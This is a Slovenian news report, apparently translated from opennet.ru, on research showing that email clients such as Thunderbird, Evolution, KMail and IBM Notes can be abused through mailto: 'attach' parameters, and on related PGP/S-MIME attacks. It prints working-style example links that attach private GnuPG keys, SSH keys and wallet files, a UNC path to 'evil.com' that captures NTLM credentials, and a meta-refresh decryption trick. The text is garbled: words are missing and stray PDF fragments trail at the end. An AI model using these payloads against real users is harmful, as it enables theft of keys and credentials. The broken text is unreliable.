Raziskovalci z Univerze v Ruru v Bochumu (Nemčija) () obnašanje e-poštnih odjemalcev pri obdelavi povezav „mailto:“ z razširjenimi parametri. Pet od dvajsetih obravnavanih e-poštnih odjemalcev je bilo ranljivih za napad, ki manipulira s predpisovanjem virov preko parametra „attach“. Šest drugih e-poštnih odjemalcev je bilo izpostavljenih napadu z zamenjavo ključev PGP in S/MIME, trije odjemalci pa so bili ranljivi za napad za izvlek vsebine šifriranih sporočil.
Povezave „“ se uporabljajo za avtomatizacijo odpiranja e-poštnega odjemalca z namenom pisanja sporočila določenemu prejemniku v povezavi. Poleg naslova v povezavi je mogoče navesti dodatne parametre, kot so tema sporočila in predloga običajne vsebine. Predlagana napad manipulira s parametrom „attach“, ki omogoča pridružitev priponke k ustvarjenemu sporočilu.
E-poštni odjemalci Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) in Pegasus Mail so bili ranljivi za preprost napad, ki omogoča samodejno pripenjanje katerega koli lokalnega datoteke, ki je navedena preko povezave vrste „mailto:?attach=pot_do_datoteke“. Datoteka se pripne brez opozorilnega sporočila, zato uporabnik morda ne bo opazil, da bo sporočilo poslano s priponko.
Na primer, z uporabo povezave vrste „mailto:?to=user@example.com&subject=Title&body=Text&attach=~/.gnupg/secring.gpg“ je mogoče v sporočilo vstaviti zasebne ključe za GnuPG. Prav tako je mogoče poslati vsebine kripto denarnic (~/.bitcoin/wallet.dat), SSH-ključe (~/.ssh/id_rsa) in katere koli datoteke, ki so uporabniku na voljo. Poleg tega Thunderbird omogoča pripenjanje skupin datotek po maski z uporabo konstrukcij vrste „attach=/tmp/*.txt“.
Poleg lokalnih datotek nekateri e-poštni odjemalci obravnavajo povezave do omrežnih shranjevanj in poti na IMAP strežniku. Zlasti IBM Notes omogoča prenos datoteke iz omrežnega imenika pri obdelavi povezav vrste „attach=\\evil.com\dummyfile“, prav tako pa prevzeti parametre avtentikacije NTLM s pošiljanjem povezave na SMB strežnik, ki ga nadzira napadalec (zahteva bo poslana s trenutnimi parametri avtentikacije uporabnika).
Thunderbird uspešno obdeluje zahtevke v obliki «attach=imap://fetch>UID>/INBOX>1/», ki omogočajo pripenjanje vsebine iz map na IMAP strežniku. Izvlečena IMAP sporočila, šifrirana z OpenPGP in S/MIME, se avtomatsko dešifrirajo s strani e-poštnega odjemalca pred pošiljanjem. Razvijalci Thunderbird so o težavi februarja in v izdaji težava je že odpravljena (veje Thunderbird 52, 60 in 68 ostajajo ranljive).
Stare različice Thunderbird so bile ranljive tudi na dve drugi vrsti napada na PGP in S/MIME, ki sta ga predlagali raziskovalci. Konkretno so bili Thunderbird, pa tudi OutLook, PostBox, eM Client, MailMate in R2Mail2 podvrženi napadu z zamenjavo ključev, ki je posledica dejstva, da e-poštni odjemalec samodejno uvozi in nastavi nove certifikate, poslane v S/MIME sporočilih, kar omogoča napadalcu zamenjavo že shranjenih odprtih ključev uporabnika.
Drugi napad, ki je prizadet Thunderbird, PostBox in MailMate, manipulira z značilnostmi mehanizma samodejnega shranjevanja osnutkov sporočil in omogoča, da se z uporabo parametrov mailto sproži dešifriranje šifriranih sporočil ali dodatek digitalnega podpisa za poljubna sporočila, z naknadnim prenosom rezultata na IMAP strežnik napadalca. Šifrant pri tej napadni prenosu se prenaša preko parametra «body», za sprožitev dostopa do IMAP strežnika napadalca pa se uporablja oznaka «meta refresh». Na primer: ‘<meta http-equiv=
refresh
content=
60; URL=mailto:?body=——BEGIN PGP MESSAGE——[...]——END PGP MESSAGE——">
%PDF-1.5
1 0 obj
<>
endobj
1 0 obj
Izvor: opennet.ru
